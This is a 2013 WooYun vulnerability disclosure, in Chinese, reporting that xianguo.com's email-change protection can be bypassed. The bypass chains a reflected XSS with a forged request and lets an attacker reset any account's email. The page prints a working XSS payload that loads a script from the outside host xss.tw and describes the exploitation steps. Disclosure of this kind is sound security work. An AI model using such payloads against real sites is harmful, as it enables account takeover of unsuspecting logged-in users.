当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-032481

漏洞标题:鲜果网又能重置任意账号email了!

相关厂商:鲜果网

漏洞作者: c2c2

提交时间:2013-07-27 11:48

修复时间:2013-08-01 11:49

公开时间:2013-08-01 11:49

漏洞类型:CSRF

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-07-27: 细节已通知厂商并且等待厂商处理中
2013-08-01: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

http://www.wooyun.org/bugs/wooyun-2010-016848
修补得不完善。

详细说明:

对比 WooYun: 咦!鲜果网也能重置妹子帐号了 ,发现鲜果修改email多了一步验证,如下图

20130726232639.png


这个验证是在输入新邮箱点确定之后刷新页面才出来的,那就是说在修改邮箱之后要再请求一次http://xianguo.com/setting/change-email这个页面,才会发送邮件到新邮箱。
这里还用到了一个反射型的XSS,在

http://xianguo.com/service/submitfav/?link=http://"></a><script src=//xss.tw/3132></script><a "


于是改email,抓包,放进xss.js,ajax发个post,再用xss.js来个iframe请求一下页面,一封确认邮件发到了我的邮箱。
xss.tw里的代码:

20130727000537.png


这个漏洞的利用很简单,让别人登录了鲜果的同时打开有XSS的http://xianguo.com/service/submitfav/?link=http://%22%3E%3C/a%3E%3Cscript%20src=//xss.tw/****%3E%3C/script%3E%3Ca%20%22,然后就可以到邮箱里收邮件啦~

漏洞证明:

20130726235538.png

修复方案:

亲这么重要的操作不设个验证码?
你懂的

版权声明:转载请注明来源 c2c2@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-08-01 11:49

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2013-07-27 12:07 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友!)

    坐等忽略

  2. 2013-07-29 18:18 | c2c2 ( 路人 | Rank:4 漏洞数:4 )

    @鲜果网 求别忽略!

  3. 2013-07-30 09:38 | Master ( 路人 | Rank:29 漏洞数:10 )

    Mark一下